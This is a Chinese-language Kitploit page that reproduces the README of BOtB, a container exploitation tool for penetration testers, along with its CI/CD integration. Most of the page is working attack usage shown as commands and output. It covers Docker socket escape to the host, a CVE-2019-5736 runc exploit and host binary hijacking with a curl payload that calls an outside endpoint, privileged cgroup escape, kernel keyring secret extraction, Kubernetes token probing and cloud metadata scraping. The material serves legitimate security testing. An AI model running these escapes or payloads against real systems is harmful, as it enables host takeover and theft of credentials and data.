Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
botb — 一款面向渗透测试人员和工程师的容器分析与利用工具。 | Kitploit
工具/GitHubGitHub/brompwnie/botb
容器安全漏洞分析漏洞利用后渗透利用渗透测试云安全容器逃逸
GitHubbrompwnie/botb

botb

一款面向渗透测试人员和工程师的容器分析与利用工具。

查看仓库
6845664年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Github All Releases

Break out the Box (BOtB)

BOtB 是一款容器分析与利用工具,专为渗透测试工程师和普通工程师设计,同时支持常见的 CI/CD 技术,便于集成到持续集成/持续部署流程中。

它能做什么?

BOtB 是一款 CLI 工具,能够让你:

  • 利用常见的容器漏洞
  • 执行常见的容器后渗透操作
  • 当容器内缺少某些工具或二进制文件时提供替代能力
  • 结合 CI/CD 技术使用 BOtB 的能力测试容器部署
  • 以手动或自动方式执行上述操作

当前能力

  • 通过暴露的 Docker 守护进程(docker.sock)实现容器逃逸
  • 通过 CVE-2019-5736 实现容器逃逸
  • 通过启用 CAPS 和 SYSCALLS 实现特权容器逃逸
  • 通过滥用 Keyctl 系统调用(借助宽松的 seccomp 配置文件)从 Linux 内核密钥环提取数据
  • 识别 Kubernetes 服务账号密钥并尝试使用
  • 识别元数据服务端点,例如 http://169.254.169.254、http://metadata.google.internal/ 和 http://100.100.100.200/
  • 从 GCP 元数据端点抓取元数据信息
  • 分析并识别环境变量和 ProcFS 中进程(即 /Proc/{pid}/Environ)的敏感字符串
  • 查找并识别 UNIX 域套接字
  • 识别支持 HTTP 的 UNIX 域套接字
  • 在 UNIX 域套接字或网络接口上查找并识别 Docker 守护进程
  • 使用自定义负载劫持主机二进制文件
  • 在 CI/CD 模式下执行操作,仅返回大于 0 的退出码
  • 将数据推送至 S3 存储桶
  • 强制 BOtB 始终返回退出码 0(适用于非阻塞式 CI/CD)
  • 通过 CLI 参数或 YAML 配置文件执行上述操作
  • 执行反向 DNS 查找

安装

二进制文件

如需通过二进制文件进行安装,请访问 发布页面。

通过 Go 安装

root@kitploit:~
go get github.com/brompwnie/botb

从源码构建

通过 Go 构建 BOtB:

root@kitploit:~
go build

通过 Make 构建 BOtB:

root@kitploit:~
make

使用方法

BOtB 可编译为针对目标平台的二进制文件,支持以下用法:

root@kitploit:~
./botb-linux-amd64 -h
-aggr string
        尝试利用 RuncPWN(默认 "nil")
  -always-succeed
        始终将 BOtB 的退出码设置为零
  -autopwn
        尝试自动利用暴露的套接字
  -cicd
        尝试自动利用但不进入 TTY,成功时返回退出码 1,否则返回 0
  -config string
        从提供的 YAML 文件加载配置(默认 "nil")
  -endpoints string
        提供一个文本文件,其中包含用于测试的端点(默认 "nil")
  -find-docker
        尝试查找 Docker 守护进程
  -find-http
        搜索支持 HTTP 的可用 UNIX 域套接字
  -find-sockets
        搜索可用的 UNIX 域套接字
  -hijack string
        尝试劫持主机上的二进制文件(默认 "nil")
  -k8secrets
        识别并验证 K8s 密钥
  -keyMax int
        最大密钥 ID 范围(默认 100000000),系统最大值为 999999999(默认 100000000)
  -keyMin int
        最小密钥 ID 范围(默认 1)(默认 1)
  -metadata
        尝试查找元数据服务
  -path string
        开始扫描 UNIX 域套接字的路径(默认 "/")
  -pwn-privileged string
        提供命令负载,尝试利用 --privilege CGROUP release_agent 漏洞(默认 "nil")
  -pwnKeyctl
        滥用 keyctl 系统调用并从 Linux 内核密钥环提取数据
  -recon
        执行容器环境的信息收集
  -region string
        提供 AWS 区域,例如 eu-west-2(默认 "nil")
  -rev-dns string
        对子网执行反向 DNS 查找。参数必须使用 CIDR 表示法,例如 -rev-dns 192.168.0.0/24(默认 "nil")
  -s3bucket string
        提供用于 S3 推送的存储桶名称(默认 "nil")
  -s3push string
        将文件推送到 S3,例如完整的命令为:-region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME(默认 "nil")
  -scrape-gcp
        尝试抓取 GCP 元数据服务
  -verbose
        详细输出
  -wordlist string
        提供单词列表(默认 "nil")

BOtB 也可以通过 config 参数从 YAML 文件加载设置:

root@kitploit:~
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

以下使用示例默认在检测到异常时都会返回大于 0 的退出码,通过 "echo $?" 可以查看最后一条命令的退出码。

识别并提取未妥善保护的 Linux 内核密钥环密钥

更多信息请参见原作者的文章:https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

root@kitploit:~
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

识别并验证已挂载的 Kubernetes 服务账号密钥

root@kitploit:~
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

通过暴露的 Docker 守护进程从容器中逃逸

该方法将逃逸到主机的交互式 TTY 中。

root@kitploit:~
#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 

以 CI/CD 友好的方式从容器中逃逸

该方法不会逃逸到主机的 TTY,而是返回大于 0 的退出码以表示逃逸成功。

root@kitploit:~
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished

#echo $?
1

利用 CVE-2019-5736 并携带自定义负载

请注意,要使此利用成功,必须在目标容器中执行一个进程。

root@kitploit:~
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0&param1=$1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished

使用自定义负载劫持主机上的命令/二进制文件

请注意,这可用于测试外部实体是否在容器内执行命令。例如 Docker Exec 和 Kubetcl CP。

root@kitploit:~
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$1&param2=$2">/dev/null 2>&1
[+] Currently hijacking:  /bin
[+] Currently hijacking:  /sbin
[+] Currently hijacking:  /usr/bin
[+] Finished

查找 UNIX 域套接字

root@kitploit:~
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished

#echo $?
1

查找 Docker 守护进程

root@kitploit:~
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished

#echo $?
1

分析环境变量和 ProcFS Environ 中的敏感字符串

默认情况下,BOtB 会搜索两个关键词:"secret" 和 "password"。

root@kitploit:~
 ./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV:  foo=secretpassword
[+] Finished

#echo $?
1

可以向 BOtB 提供一个单词列表,以扫描特定的关键词。

root@kitploit:~
#cat wordlist.txt 
moo

# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished

# echo $?
0

扫描元数据端点

BOtB 默认扫描两个元数据端点。

root@kitploit:~
#  ./bob_linux_amd64 -metadata=true                    
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished

# echo $?
0

还可以向 BOtB 提供一个端点列表进行扫描。

root@kitploit:~
#  cat endpoints.txt 
https://heroku.com

#  ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished

# echo $?
1

扫描响应 HTTP 的 UNIX 域套接字

root@kitploit:~
#  ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished

从 GCP 元数据实例抓取数据

root@kitploit:~
#  ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to:  169.254.169.254:80

[*] Output->
 HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....

将数据推送至 AWS S3 存储桶

root@kitploit:~
#  ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finished

从特权容器中逃逸

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output 
docker-desktop

强制 BOtB 始终成功并返回退出码 0

这对于非阻塞式 CI/CD 测试非常有用。

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0

使用 YAML 配置文件运行 BOtB

示例 YAML 文件 cfg.yml

root@kitploit:~
payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets

使用上述 YAML 运行 BOtB

root@kitploit:~
#  ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished

在 CI\CD 中使用 BOtB

BOtB 可以与利用退出码判断测试通过或失败的 CI\CD 技术一起使用。下面是一个 Shell 脚本,它执行两个 BOtB 测试,并根据两个测试的退出码决定脚本的退出码。如果任何一个测试返回大于 0 的退出码,执行该 Shell 脚本的测试将会失败。

root@kitploit:~
#!/bin/sh 

exitCode=0

echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?

echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?

(exit $exitCode)

上述脚本并非唯一使用 BOtB 与 CI\CD 技术的方式,也可以不包装在 Shell 脚本中单独使用。示例 YML 配置如下:

root@kitploit:~
version: 2
cicd:
  runATest: ./bob_linux_amd64 -autopwn -cicd=true

下面是可以用于 Heroku CI 的示例配置:

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bob_linux_amd64 -autopwn -cicd=true"
            }
        }
    }
}

下面是一个使用包装 Shell 脚本的 Heroku CI 示例配置:

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bin/testSocksAndEnv.sh"
            }
        }
    }
}


问题、缺陷和改进

对于任何缺陷,请提交一个 Issue。虽然有很长的改进列表,但如果你希望 BOtB 添加某个功能,请提交一个 Issue。

参考资料与资源

这个工具离不开社区其他人的贡献,以下是我参考过的资源列表。

  • https://docs.docker.com/engine/security/https/
  • https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp
  • https://docs.docker.com/engine/reference/commandline/exec/
  • https://github.com/GoogleContainerTools/container-structure-test
  • https://github.com/coreos/clair
  • https://github.com/aquasecurity/docker-bench
  • https://www.cisecurity.org/benchmark/docker/
  • https://github.com/Frichetten/CVE-2019-5736-PoC
  • https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
  • https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html
  • https://github.com/wagoodman/dive
  • https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf
  • https://github.com/singe/container-breakouts
  • https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
  • https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/

演讲和活动

BOtB 计划在以下活动中展示:

  • BSides London 2019 (https://sched.co/PAwB) ,幻灯片可在此处找到:https://github.com/brompwnie/bsideslondon2019
  • Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)
  • DefCon 27 Cloud Village (https://cloud-village.org/)
  • Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287)
  • DevSecCon London 2019 (https://www.devseccon.com/london-2019/)

许可证

BOtB 采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 (http://creativecommons.org/licenses/by-nc-sa/4.0)。

下载工具
  • https://github.com/antitree/keyctl-unmask#keyctl-unmask
  • https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/